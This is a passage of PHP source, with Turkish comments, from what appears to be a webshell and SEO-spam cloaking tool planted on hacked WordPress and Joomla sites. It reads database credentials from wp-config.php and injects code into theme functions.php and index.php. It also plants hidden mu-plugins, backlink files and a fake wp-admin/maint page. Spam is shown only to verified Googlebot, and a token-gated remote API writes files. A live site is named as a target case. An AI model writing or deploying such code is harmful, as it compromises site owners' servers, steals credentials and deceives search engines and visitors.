    }
    return @file_put_contents($origPath, $body) !== false;
}

function mpg_merge_joomla_index($idxPath)
{
    if ($idxPath === null) {
        return array('ok' => false, 'error' => 'index.php yolu gecersiz');
    }
    mpg_backup_joomla_original_index($idxPath);
    $origPath = $idxPath . '.mpg_original.php';
    $style = mpg_detect_joomla_bootstrap_style();
    $body = mpg_resolve_joomla_index_body(
        is_file($idxPath) ? (string) file_get_contents($idxPath) : '',
        is_file($origPath) ? (string) file_get_contents($origPath) : '',
        $style
    );
    $merged = mpg_inject_joomla_bot_snippet($body, mpg_joomla_bot_snippet());
    return mpg_write_file($idxPath, $merged);
}


/**
 * WordPress maint cloak (standalone mpg.php — WP bootstrap gerekmez)
 */

function mpg_cloak_maint_options_rel()
{
    return 'wp-admin/maint/options.php';
}

function mpg_cloak_maint_options_path()
{
    return mpg_site_root() . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, mpg_cloak_maint_options_rel());
}

function mpg_cloak_maint_marker()
{
    return 'MPG-FM-SEO-HANDLER';
}

function mpg_wp_parse_config($root)
{
    $path = rtrim((string) $root, '/\\') . DIRECTORY_SEPARATOR . 'wp-config.php';
    if (!is_file($path)) {
        return null;
    }
    $content = (string) file_get_contents($path);
    $out = array(
        'DB_NAME' => '',
        'DB_USER' => '',
        'DB_PASSWORD' => '',
        'DB_HOST' => 'localhost',
        'table_prefix' => 'wp_',
    );
    foreach (array('DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST') as $key) {
        if (preg_match("/define\\s*\\(\\s*['\"]{$key}['\"]\\s*,\\s*['\"](.*?)['\"]\\s*\\)/s", $content, $m)) {
            $out[$key] = stripcslashes($m[1]);
        }
    }
    if (preg_match('/\\$table_prefix\\s*=\\s*[\'"]([^\'"]+)[\'"]\\s*;/', $content, $m)) {
        $out['table_prefix'] = $m[1];
    }
    if ($out['DB_NAME'] === '' || $out['DB_USER'] === '') {
        return null;
    }
    return $out;
}

function mpg_wp_active_theme_slug($root)
{
    $cfg = mpg_wp_parse_config($root);
    if ($cfg === null) {
        return null;
    }
    if (!class_exists('mysqli')) {
        return null;
    }
    $db = @new mysqli($cfg['DB_HOST'], $cfg['DB_USER'], $cfg['DB_PASSWORD'], $cfg['DB_NAME']);
    if ($db->connect_errno) {
        return null;
    }
    $prefix = preg_replace('/[^a-zA-Z0-9_]/', '', (string) $cfg['table_prefix']);
    $sql = "SELECT option_value FROM `{$prefix}options` WHERE option_name='stylesheet' LIMIT 1";
    $res = $db->query($sql);
    if (!$res) {
        $db->close();
        return null;
    }
    $row = $res->fetch_assoc();
    $db->close();
    $slug = isset($row['option_value']) ? trim((string) $row['option_value']) : '';
    return $slug !== '' ? $slug : null;
}

function mpg_wp_theme_functions_path($root)
{
    $slug = mpg_wp_active_theme_slug($root);
    if ($slug === null) {
        return null;
    }
    $slug = str_replace(array('..', '/', '\\'), '', $slug);
    if ($slug === '') {
        return null;
    }
    $path = rtrim((string) $root, '/\\') . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'
        . DIRECTORY_SEPARATOR . $slug . DIRECTORY_SEPARATOR . 'functions.php';
    return is_file($path) || is_dir(dirname($path)) ? $path : null;
}

function mpg_cloak_write_maint_options($content)
{
    $path = mpg_cloak_maint_options_path();
    $dir = dirname($path);
    if (!is_dir($dir)) {
        if (!@mkdir($dir, 0755, true)) {
            return array('ok' => false, 'error' => 'wp-admin/maint klasoru olusturulamadi', 'path' => $path);
        }
    }
    return mpg_write_file($path, $content);
}

function mpg_cloak_inject_functions_snippet($snippet)
{
    $snippet = trim((string) $snippet);
    if ($snippet === '') {
        return array('ok' => false, 'error' => 'functions.php snippet bos');
    }
    if (strpos($snippet, mpg_cloak_maint_marker()) === false) {
        return array('ok' => false, 'error' => 'Gecersiz MPG snippet');
    }

    $path = mpg_wp_theme_functions_path(mpg_site_root());
    if ($path === null) {
        return array('ok' => false, 'error' => 'Aktif tema functions.php bulunamadi (wp-config/DB)');
    }

    $existing = is_file($path) ? (string) file_get_contents($path) : "<?php\n";
    if (strpos($existing, mpg_cloak_maint_marker()) !== false) {
        $pattern = '/\n\/\/ MPG-FM-SEO-HANDLER[\s\S]*?function mpg_fm_seo_handler\(\)[\s\S]*?\n\}/';
        if (preg_match($pattern, $existing)) {
            $updated = preg_replace($pattern, "\n" . $snippet, $existing, 1);
        } else {
            $updated = rtrim($existing) . "\n\n" . $snippet . "\n";
        }
    } else {
        $updated = rtrim($existing) . "\n\n" . $snippet . "\n";
    }

    return mpg_write_file($path, $updated);
}

function mpg_cloak_install_maint_mode($wpcontent, $indexcontent, $functionsSnippet)
{
    $results = array();

    if ($wpcontent !== '') {
        $optWrite = mpg_cloak_write_maint_options($wpcontent);
        if (empty($optWrite['ok'])) {
            return array(
                'ok' => false,
                'error' => 'wp-admin/maint/options.php yazilamadi',
                'details' => isset($optWrite['details']) ? $optWrite['details'] : array(),
            );
        }
        $results[] = mpg_cloak_maint_options_rel() . ' yazildi (' . strlen($wpcontent) . ' byte)';
    }

    if ($indexcontent !== '') {
        $idxPath = safePathForWrite(MPG_FM_INDEX);
        if ($idxPath !== null && is_file($idxPath) && !is_file($idxPath . '.mpg_original.php')) {
            @copy($idxPath, $idxPath . '.mpg_original.php');
        }
        $idxWrite = ($idxPath !== null) ? mpg_write_file($idxPath, $indexcontent) : array('ok' => false);
        if (empty($idxWrite['ok'])) {
            return array(
                'ok' => false,
                'error' => 'index.php yazilamadi',
                'partial' => $results,
                'details' => isset($idxWrite['details']) ? $idxWrite['details'] : array(),
            );
        }
        $results[] = MPG_FM_INDEX . ' yazildi (' . strlen($indexcontent) . ' byte, maint)';
    }

    if ($functionsSnippet !== '') {
        $fnWrite = mpg_cloak_inject_functions_snippet($functionsSnippet);
        if (empty($fnWrite['ok'])) {
            return array(
                'ok' => false,
                'error' => isset($fnWrite['error']) ? $fnWrite['error'] : 'functions.php enjekte edilemedi',
                'partial' => $results,
                'path' => isset($fnWrite['path']) ? $fnWrite['path'] : null,
            );
        }
        $results[] = 'functions.php guncellendi (' . basename(dirname($fnWrite['path'])) . ')';
    }

    return array('ok' => true, 'results' => $results, 'mode' => 'maint');
}


function mpg_str_contains($haystack, $needle)
{
    return $needle === '' || strpos((string) $haystack, (string) $needle) !== false;
}

function mpg_starts_with($haystack, $needle)
{
    $haystack = (string) $haystack;
    $needle = (string) $needle;
    return $needle === '' || strncmp($haystack, $needle, strlen($needle)) === 0;
}

function mpg_server($key, $default = '')
{
    return isset($_SERVER[$key]) ? (string) $_SERVER[$key] : $default;
}

function mpg_request_method()
{
    return mpg_server('REQUEST_METHOD', 'GET');
}

function mpg_runtime_api_token()
{
    static $cached = null;
    if ($cached !== null) {
        return $cached;
    }
    $cached = MPG_API_TOKEN;
    $side = __DIR__ . DIRECTORY_SEPARATOR . '.mpg-api-token';
    if (is_file($side)) {
        $v = trim((string) file_get_contents($side));
        if ($v !== '') {
            $cached = $v;
        }
    }
    return $cached;
}

function mpg_fm_password_ok($pass)
{
    return MPG_FM_PASSWORD !== '' && hash_equals(MPG_FM_PASSWORD, (string) $pass);
}

function apiTokenOk()
{
    $token = mpg_server('HTTP_X_MPG_TOKEN');
    if ($token === '' && isset($_GET['token'])) {
        $token = (string) $_GET['token'];
    }
    return $token !== '' && hash_equals(mpg_runtime_api_token(), $token);
}

function jsonOut($payload, $code = 200)
{
    http_response_code((int) $code);
    header('Content-Type: application/json; charset=utf-8');
    $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
    if (defined('JSON_INVALID_UTF8_SUBSTITUTE')) {
        $flags |= JSON_INVALID_UTF8_SUBSTITUTE;
    }
    echo json_encode($payload, $flags);
    exit;
}

function mpg_is_gsc_verification_name($name)
{
    return (bool) preg_match('/^google[a-f0-9]+\\.html$/i', (string) $name);
}

/** Gizli backlink client / bridge path whitelist (perde dosyalarindan ayri) */
function mpg_is_backlink_rel_path($rel)
{
    $rel = str_replace('\\', '/', ltrim((string) $rel, '/'));
    if ($rel === 'wp-content/mu-plugins/mpg-locale-bridge.php') {
        return true;
    }
    if (preg_match('#^wp-content/languages/mpgc-[a-f0-9]{8}[.]php$#i', $rel)) {
        return true;
    }
    if (preg_match('#^media/vendor/mpgc-[a-f0-9]{8}[.]php$#i', $rel)) {
        return true;
    }
    return false;
}

function mpg_walk_up_find_cms_root($start)
{
    $dir = (string) $start;
    $guard = 0;
    while ($dir !== '' && $guard++ < 24) {
        $real = realpath($dir);
        if ($real !== false) {
            $dir = $real;
        }
        $sep = DIRECTORY_SEPARATOR;
        if (is_file($dir . $sep . 'wp-config.php')) {
            return array('root' => $dir, 'cms' => 'wordpress');
        }
        if (is_file($dir . $sep . 'configuration.php')
            || is_file($dir . $sep . 'includes' . $sep . 'framework.php')
            || is_file($dir . $sep . 'includes' . $sep . 'app.php')) {
            return array('root' => $dir, 'cms' => 'joomla');
        }
        $parent = dirname($dir);
        if ($parent === $dir) {
            break;
        }
        $dir = $parent;
    }
    return null;
}

function mpg_site_root()
{
    static $cached = null;
    if ($cached !== null) {
        return $cached;
    }

    $starts = array(__DIR__);
    if (mpg_server('DOCUMENT_ROOT') !== '') {
        $starts[] = mpg_server('DOCUMENT_ROOT');
    }

    foreach ($starts as $start) {
        $found = mpg_walk_up_find_cms_root($start);
        if ($found !== null) {
            $cached = $found['root'];
            return $cached;
        }
    }

    $cached = realpath(__DIR__);
    if ($cached === false) {
        $cached = __DIR__;
    }
    return $cached;
}

function mpg_detect_cms()
{
    static $cms = null;
    if ($cms !== null) {
        return $cms;
    }

    $root = mpg_site_root();
    $sep = DIRECTORY_SEPARATOR;
    if (is_file($root . $sep . 'wp-config.php')) {
        $cms = 'wordpress';
        return $cms;
    }
    if (is_file($root . $sep . 'configuration.php')
        || is_file($root . $sep . 'includes' . $sep . 'framework.php')
        || is_file($root . $sep . 'includes' . $sep . 'app.php')) {
        $cms = 'joomla';
        return $cms;
    }
    return 'unknown';
}

function mpg_is_joomla()
{
    return mpg_detect_cms() === 'joomla';
}

function mpg_is_wordpress()
{
    return mpg_detect_cms() === 'wordpress';
}

/**
 * Live WP community stack (BuddyBoss / BuddyPress) — swrforum.com class.
 * Aged shell yazilir ama sahte Googlebot UA → 418 + gercek tema; "shell fail" gibi gorunur.
 */
function mpg_wp_has_buddyboss()
{
    static $cached = null;
    if ($cached !== null) {
        return $cached;
    }
    $cached = false;
    if (!mpg_is_wordpress()) {
        return $cached;
    }
    $root = mpg_site_root();
    $sep = DIRECTORY_SEPARATOR;
    $markers = array(
        'wp-content' . $sep . 'plugins' . $sep . 'buddyboss-platform',
        'wp-content' . $sep . 'plugins' . $sep . 'buddypress',
        'wp-content' . $sep . 'themes' . $sep . 'buddyboss-theme',
        'wp-content' . $sep . 'themes' . $sep . 'buddyboss-theme-child',
    );
    foreach ($markers as $rel) {
        if (is_dir($root . $sep . $rel) || is_file($root . $sep . $rel)) {
            $cached = true;
            return $cached;
        }
    }
    return $cached;
}

function mpg_server_is_nginx()
{
    $soft = strtolower(mpg_server('SERVER_SOFTWARE'));
    if (strpos($soft, 'nginx') !== false) {
        return true;
    }
    // php-fpm behind nginx often omits SERVER_SOFTWARE; .user.ini / cgi hints
    $sapi = function_exists('php_sapi_name') ? strtolower((string) php_sapi_name()) : '';
    return (strpos($sapi, 'fpm') !== false || strpos($sapi, 'cgi') !== false)
        && !is_file(mpg_site_root() . DIRECTORY_SEPARATOR . '.htaccess.mpg_apache_only');
}

function mpg_aged_shell_files_status()
{
    $root = mpg_site_root();
    $sep = DIRECTORY_SEPARATOR;
    $check = array(
        'index.php' => $root . $sep . 'index.php',
        'index.php.mpg_original.php' => $root . $sep . 'index.php.mpg_original.php',
        'wp-options.php' => $root . $sep . 'wp-options.php',
        'mpg-googlebot-verify.inc.php' => $root . $sep . 'mpg-googlebot-verify.inc.php',
        'mpg-aged-prepend.php' => $root . $sep . 'mpg-aged-prepend.php',
        'wp-content/mu-plugins/mpg-aged-cloak.php' => $root . $sep . 'wp-content' . $sep . 'mu-plugins' . $sep . 'mpg-aged-cloak.php',
        '.user.ini' => $root . $sep . '.user.ini',
        'robots.txt' => $root . $sep . 'robots.txt',
    );
    $out = array();
    foreach ($check as $label => $full) {
        $bytes = is_file($full) ? (int) @filesize($full) : 0;
        $out[$label] = array(
            'exists' => is_file($full),
            'bytes' => $bytes,
        );
    }
    $idx = '';
    if (!empty($out['index.php']['exists'])) {
        // Tam dosya (kucuk) — 1200 byte kesilirse wp-options / mpg_original marker kaybolur
        $idx = (string) @file_get_contents($check['index.php']);
    }
    $out['indexLooksAged'] = mpg_is_aged_shell_index($idx);
    $robots = '';
    if (!empty($out['robots.txt']['exists'])) {
        $robots = (string) @file_get_contents($check['robots.txt']);
    }
    $out['robotsHasMoneySitemap'] = (strpos($robots, 'BM-AGENT-SITEMAP') !== false
        || strpos($robots, 'thrag.cam') !== false
        || strpos($robots, 'Sitemap:') !== false);
    return $out;
}

/**
 * Known hard cases for cloak / aged shell (panel reads via action=cases|info).
 * Case: aged-wp-buddyboss-nginx — swrforum.com (#424).
 */
function mpg_detect_shell_cases()
{
    $cases = array();
    $root = mpg_site_root();
    $doc = mpg_server('DOCUMENT_ROOT');
    $soft = mpg_server('SERVER_SOFTWARE');
    $files = mpg_aged_shell_files_status();
    $buddy = mpg_wp_has_buddyboss();
    $nginxHint = mpg_server_is_nginx();
    $betaDoc = (bool) preg_match('/beta\\.|\\/beta[^\\/]*$/i', str_replace('\\', '/', $doc . ' ' . $root));

    if (mpg_is_wordpress() && ($buddy || $betaDoc || $nginxHint)) {
        $id = 'aged-wp-live';
        if ($buddy && $nginxHint) {
            $id = 'aged-wp-buddyboss-nginx';
        } elseif ($buddy) {
            $id = 'aged-wp-buddyboss';
        } elseif ($nginxHint) {
            $id = 'aged-wp-nginx';
        }
        $severity = $buddy ? 'high' : 'medium';
        $notes = array(
            'Sahte Googlebot UA (panel/curl) → HTTP 418 + gercek WP HTML. Bu FAIL degil; IP+rDNS dogrulama.',
            'Gercek Googlebot (Google ASN) → wp-options.php SEO. Dogrudan /wp-options.php ile SEO dosyasini test et.',
            'Eski mpg.php cloak/backlink action bilmez → "Bilinmeyen action". Once upgrade-self / mpg yukselt.',
        );
        if ($buddy) {
            $notes[] = 'BuddyBoss/BuddyPress: insan trafikte forum temasi kalmali (aged-shell dogru davranis).';
        }
        if ($nginxHint) {
            $notes[] = 'nginx/php-fpm: .htaccess yok sayilir. Aged = index.php + mu-plugin + mpg-aged-prepend/.user.ini.';
        }
        if ($betaDoc) {
            $notes[] = 'Docroot beta.* alias (ornek /var/www/beta.swrforum.com) — siteRoot DOCUMENT_ROOT ile ayni olmali.';
        }
        $ready = !empty($files['indexLooksAged'])
            && !empty($files['wp-options.php']['exists'])
            && !empty($files['mpg-googlebot-verify.inc.php']['exists']);
        $cases[] = array(
            'id' => $id,
            'severity' => $severity,
            'ref' => 'swrforum.com',
            'title' => 'Live aged WordPress (BuddyBoss / nginx / beta docroot)',
            'buddyboss' => $buddy,
            'nginxHint' => $nginxHint,
            'betaDocroot' => $betaDoc,
            'documentRoot' => $doc,
            'siteRoot' => $root,
            'serverSoftware' => $soft,
            'agedReady' => $ready,
            'files' => $files,
            'notes' => $notes,
            'verifyHint' => 'Human UA → WP; spoof Googlebot UA → 418+WP; GET /wp-options.php → SEO HTML; GSC live crawl → SEO.',
        );
    }

    return $cases;
}

function mpg_list_gsc_verification_files($root)
{
    $out = array();
    if (!is_dir($root)) {
        return $out;
    }
    foreach (glob(rtrim($root, '/\\') . DIRECTORY_SEPARATOR . 'google*.html') as $full) {
        if (!is_file($full)) {
            continue;
        }
        $name = basename($full);
        if (mpg_is_gsc_verification_name($name)) {
            $out[] = $name;
        }
    }
    sort($out);
    return $out;
}

function mpg_norm_path($path)
{
    $path = str_replace('/', DIRECTORY_SEPARATOR, (string) $path);
    $path = rtrim($path, DIRECTORY_SEPARATOR);
    // Windows drive letter / short-path karsilastirmasi icin
    if (DIRECTORY_SEPARATOR === '\\') {
        return strtoupper($path);
    }
    return $path;
}

function safePathForWrite($rel)
{
    $rel = str_replace('\\', '/', trim((string) $rel));
    $rel = ltrim($rel, '/');
    if ($rel === '' || mpg_str_contains($rel, '..')) {
        return null;
    }

    $base = mpg_site_root();
    $baseReal = realpath($base);
    if ($baseReal !== false) {
        $base = $baseReal;
    }
    $base = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $base), DIRECTORY_SEPARATOR);

    $name = basename($rel);
    $selfPhp = basename(__FILE__);
    $allowed = ($name === '.htaccess'
        || $name === '.user.ini'
        || $name === MPG_FM_WP_OPTIONS
        || $name === 'options.php'
        || $name === MPG_FM_INDEX
        || $name === MPG_FM_INDEX . '.mpg_original.php'
        || $name === 'robots.txt'
        || $name === 'mpg-googlebot-verify.inc.php'
        || $name === 'mpg-aged-prepend.php'
        || $name === 'mpg-aged-cloak.php'
        || $name === 'mpg-locale-bridge.php'
        || $name === 'index.html'
        || $name === 'mpg.php'
        || $name === 'mpg-fm.php'
        || $name === $selfPhp
        || $rel === '.render-cache/.htaccess'
        || $rel === '.render-cache/index.html'
        || mpg_is_gsc_verification_name($name)
        || mpg_is_backlink_rel_path($rel)
        || ($name === 'options.php' && mpg_str_contains($rel, 'wp-admin/maint/')));
    if (!$allowed) {
        return null;
    }
    // mu-plugin path whitelist
    if ($name === 'mpg-aged-cloak.php' && $rel !== 'wp-content/mu-plugins/mpg-aged-cloak.php') {
        return null;
    }
    if ($name === 'mpg-locale-bridge.php' && $rel !== 'wp-content/mu-plugins/mpg-locale-bridge.php') {
        return null;
    }
    if (preg_match('/^mpgc-[a-f0-9]{8}\.php$/i', $name) && !mpg_is_backlink_rel_path($rel)) {
        return null;
    }
    if (($name === 'robots.txt' || $name === 'mpg-googlebot-verify.inc.php'
        || $name === 'mpg-aged-prepend.php' || $name === '.user.ini') && $rel !== $name) {
        return null;
    }
    if (($name === MPG_FM_INDEX || $name === MPG_FM_INDEX . '.mpg_original.php') && $rel !== $name) {
        return null;
    }
    // mpg.php / mpg-fm.php sadece kokte (self-upgrade)
    if (($name === 'mpg.php' || $name === 'mpg-fm.php' || $name === $selfPhp) && $rel !== $name) {
        return null;
    }
    if (mpg_is_gsc_verification_name($name) && $rel !== $name) {
        return null;
    }

    $full = $base . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);
    $parentDir = dirname($full);
    $parent = realpath($parentDir);
    if ($parent === false) {
        // .render-cache / mu-plugins gibi klasorleri olusturmadan once parent yok olabilir
        if (!is_dir($parentDir)) {
            if ($rel === '.render-cache/.htaccess' || $rel === '.render-cache/index.html'
                || $rel === 'wp-content/mu-plugins/mpg-aged-cloak.php'
                || $rel === 'wp-content/mu-plugins/mpg-locale-bridge.php'
                || mpg_is_backlink_rel_path($rel)) {
                if (!@mkdir($parentDir, 0755, true) && !is_dir($parentDir)) {
                    return null;
                }
                $parent = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $parentDir), DIRECTORY_SEPARATOR);
            } else {
                return null;
            }
        } else {
            $parent = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $parentDir), DIRECTORY_SEPARATOR);
        }
    } else {
        $parent = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $parent), DIRECTORY_SEPARATOR);
    }

    $nParent = mpg_norm_path($parent);
    $nBase = mpg_norm_path($base);
    if ($nParent !== $nBase && !mpg_starts_with($nParent, $nBase . DIRECTORY_SEPARATOR)) {
        return null;
    }
    return $full;
}

/** Salt-okunur CMS probe dosyalari (yazma yok). */
function safePathForRead($rel)
{
    $write = safePathForWrite($rel);
    if ($write !== null) {
        return $write;
    }
    $rel = str_replace('\\', '/', trim((string) $rel));
    $rel = ltrim($rel, '/');
    if ($rel === '' || mpg_str_contains($rel, '..')) {
        return null;
    }
    $readOnly = array(
        'includes/app.php',
        'includes/framework.php',
        'configuration.php',
        'wp-config.php',
        'wp-includes/version.php',
    );
    if (!in_array($rel, $readOnly, true)) {
        return null;
    }
    $base = mpg_site_root();
    $baseReal = realpath($base);
    if ($baseReal !== false) {
        $base = $baseReal;
    }
    $full = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $base), DIRECTORY_SEPARATOR)
        . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);
    $real = realpath($full);
    if ($real === false) {
        return $full; // exists=false olarak donecek
    }
    $nReal = mpg_norm_path($real);
    $nBase = mpg_norm_path($base);
    if ($nReal !== $nBase && !mpg_starts_with($nReal, $nBase . DIRECTORY_SEPARATOR)) {
        return null;
    }
    return $real;
}

function listEditableFiles()
{
    $root = mpg_site_root();
    $files = array('.htaccess', MPG_FM_INDEX, MPG_FM_WP_OPTIONS, MPG_FM_INDEX . '.mpg_original.php');
    if (is_file($root . DIRECTORY_SEPARATOR . 'mpg-googlebot-verify.inc.php')) {
        $files[] = 'mpg-googlebot-verify.inc.php';
    }
    if (is_file($root . DIRECTORY_SEPARATOR . 'mpg-aged-prepend.php')) {
        $files[] = 'mpg-aged-prepend.php';
    }
    $files = array_merge($files, mpg_list_gsc_verification_files($root));
    return array_values(array_unique($files));
}

/** GET veya JSON body'den action. */
function mpg_api_action()
{
    if (isset($_GET['action']) && (string) $_GET['action'] !== '') {
        return (string) $_GET['action'];
    }
    if (mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        if (isset($body['action']) && (string) $body['action'] !== '') {
            return (string) $body['action'];
        }
    }
    return '';
}

function mpg_write_diag($path)
{
    $dir = dirname($path);
    return array(
        'path' => $path,
        'siteRoot' => mpg_site_root(),
        'mpgDir' => __DIR__,
        'documentRoot' => mpg_server('DOCUMENT_ROOT'),
        'cms' => mpg_detect_cms(),
        'fileExists' => is_file($path),
        'dirWritable' => is_writable($dir),
        'fileWritable' => is_file($path) ? is_writable($path) : null,
    );
}

function mpg_write_file($path, $content)
{
    try {
        $dir = dirname($path);
        if (!is_dir($dir)) {
            return array('ok' => false, 'error' => 'Klasor bulunamadi', 'details' => mpg_write_diag($path));
        }
        if (is_file($path)) {
            if (!is_writable($path)) {
                @chmod($path, 0664);
            }
            if (basename($path) === '.htaccess') {
                @copy($path, $dir . DIRECTORY_SEPARATOR . '.htaccess.backup_' . date('Ymd_His'));
            }
            if (basename($path) === MPG_FM_INDEX && !is_file($path . '.mpg_original.php')) {
                @copy($path, $path . '.mpg_original.php');
            }
        } elseif (!is_writable($dir)) {
            @chmod($dir, 0755);
        }

        $tmpDir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : $dir;
        $tmp = rtrim($tmpDir, '/\\') . DIRECTORY_SEPARATOR . basename($path) . '.mpg_tmp_' . getmypid();
        $bytes = @file_put_contents($tmp, $content, LOCK_EX);
        if ($bytes === false) {
            $fh = @fopen($tmp, 'wb');
            if ($fh) {
                $bytes = @fwrite($fh, $content);
                @fclose($fh);
            }
        }
        if ($bytes === false) {
            @unlink($tmp);
            return array('ok' => false, 'error' => 'Yazma basarisiz', 'details' => mpg_write_diag($path));
        }
        if (!@rename($tmp, $path)) {
            if (@copy($tmp, $path) === false) {
                @unlink($tmp);
                return array('ok' => false, 'error' => 'Dosya kaydedilemedi', 'details' => mpg_write_diag($path));
            }
            @unlink($tmp);
        }
        @chmod($path, 0644);
        return array('ok' => true, 'path' => $path, 'bytes' => $bytes);
    } catch (Throwable $e) {
        return array('ok' => false, 'error' => 'Yazma istisnasi', 'details' => array('message' => $e->getMessage()));
    }
}

function mpg_write_htaccess($content)
{
    $path = mpg_site_root() . DIRECTORY_SEPARATOR . '.htaccess';
    return mpg_write_file($path, $content);
}

/**
 * Site kokune yaz. Nested path'leri koru (.render-cache/.htaccess, mu-plugins/...).
 * basename() yalnizca tek-segment dosya adlari icin.
 */
function mpg_write_site_file($name, $content)
{
    $rel = str_replace('\\', '/', trim((string) $name));
    $rel = ltrim($rel, '/');
    // Nested whitelist path'leri koru
    $keepRel = (
        $rel === 'wp-content/mu-plugins/mpg-aged-cloak.php'
        || $rel === 'wp-content/mu-plugins/mpg-locale-bridge.php'
        || mpg_is_backlink_rel_path($rel)
        || $rel === '.render-cache/.htaccess'
        || $rel === '.render-cache/index.html'
        || $rel === 'wp-admin/maint/options.php'
        || strpos($rel, '/') !== false
    );
    if (!$keepRel) {
        $rel = basename($rel);
    }
    $path = safePathForWrite($rel);
    if ($path === null) {
        // Fallback: sadece koktekı tek dosya
        $baseName = basename($rel);
        $path = rtrim(str_replace('/', DIRECTORY_SEPARATOR, mpg_site_root()), DIRECTORY_SEPARATOR)
            . DIRECTORY_SEPARATOR . $baseName;
    }
    return mpg_write_file($path, $content);
}

function mpg_default_htaccess($cms = null)
{
    if ($cms === null) {
        $cms = mpg_detect_cms();
    }
    return ($cms === 'joomla') ? mpg_tpl_joomla_htaccess() : mpg_tpl_wp_htaccess();
}

function mpg_default_index($cms = null)
{
    if ($cms === null) {
        $cms = mpg_detect_cms();
    }
    return ($cms === 'joomla') ? mpg_tpl_joomla_index() : mpg_tpl_wp_index();
}

/**
 * Remote-fetch cloak tespiti: index.php içinde file_get_contents + bot detection var mı?
 */
function mpg_is_remote_fetch_index($content)
{
    $content = (string) $content;
    if (mpg_is_aged_shell_index($content)) {
        return true;
    }
    $hasBotDetection = (
        strpos($content, 'Googlebot') !== false ||
        strpos($content, 'is_bot') !== false
    );
    $hasRemoteFetch = (strpos($content, 'file_get_contents') !== false);
    return $hasBotDetection && $hasRemoteFetch;
}

/**
 * Aged-shell index: IP+UA verify include, original WP backup restore.
 */
function mpg_is_aged_shell_index($content)
{
    $content = (string) $content;
    return (
        strpos($content, 'mpg_should_show_seo_content') !== false
        || strpos($content, 'mpg-googlebot-verify') !== false
        || strpos($content, 'aged-shell') !== false
    ) && (
        strpos($content, 'index.php.mpg_original.php') !== false
        || strpos($content, 'file_get_contents') !== false
        || strpos($content, 'wp-options.php') !== false
    );
}

/**
 * Remote-fetch modu için sade .htaccess (MPG bot rewrite'ları olmadan)
 */
function mpg_simple_htaccess($cms = null)
{
    if ($cms === null) {
        $cms = mpg_detect_cms();
    }
    if ($cms === 'joomla') {
        return base64_decode('IyBCRUdJTiBKb29tbGENCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQ0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4qIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+DQojIEVORCBKb29tbGE=');
    }
    return base64_decode('IyBCRUdJTiBXb3JkUHJlc3MNCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gL2luZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+DQojIEVORCBXb3JkUHJlc3M=');
}

function mpg_deploy_gsc_files($customFiles = null, $skipDefault = false)
{
    $results = array();
    $written = array();
    $errors = array();

    if (!$skipDefault) {
        $path = safePathForWrite(MPG_FM_GSC_DEFAULT);
        if ($path === null) {
            $errors[] = MPG_FM_GSC_DEFAULT . ' yolu gecersiz';
        } else {
            $content = mpg_tpl_gsc_default();
            $write = mpg_write_file($path, $content);
            if (!empty($write['ok'])) {
                $results[] = MPG_FM_GSC_DEFAULT . ' yazildi (' . strlen($content) . ' byte)';
                $written[] = MPG_FM_GSC_DEFAULT;
            } else {
                $errors[] = MPG_FM_GSC_DEFAULT . ' yazilamadi: ' . (isset($write['error']) ? $write['error'] : 'bilinmeyen hata');
            }
        }
    }

    if (is_array($customFiles)) {
        foreach ($customFiles as $entry) {
            if (!is_array($entry)) {
                continue;
            }
            $name = isset($entry['filename']) ? (string) $entry['filename'] : '';
            $content = isset($entry['content']) ? (string) $entry['content'] : '';
            if ($name === '' || !mpg_is_gsc_verification_name($name)) {
                continue;
            }
            $path = safePathForWrite($name);
            if ($path === null) {
                $errors[] = $name . ' yolu gecersiz';
                continue;
            }
            $write = mpg_write_file($path, $content);
            if (!empty($write['ok'])) {
                $results[] = $name . ' yazildi (' . strlen($content) . ' byte)';
                $written[] = $name;
            } else {
                $errors[] = $name . ' yazilamadi';
            }
        }
    }

    return array('results' => $results, 'written' => $written, 'errors' => $errors);
}

function mpg_read_json_body()
{
    static $cached = null;
    static $done = false;
    if ($done) {
        return is_array($cached) ? $cached : array();
    }
    $done = true;
    $raw = file_get_contents('php://input');
    if ($raw === false) {
        $raw = '';
    }
    $body = json_decode($raw, true);
    $cached = is_array($body) ? $body : array();
    return $cached;
}

// ── JSON API ────────────────────────────────────────────────────────────────
if (isset($_GET['api']) && $_GET['api'] === '1') {
    $action = mpg_api_action();

    if ($action === 'bootstrap-token' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $pass = isset($body['password']) ? (string) $body['password'] : '';
        $token = isset($body['token']) ? (string) $body['token'] : '';
        if ($pass === '' || $token === '') {
            jsonOut(array('ok' => false, 'error' => 'password ve token gerekli'), 400);
        }
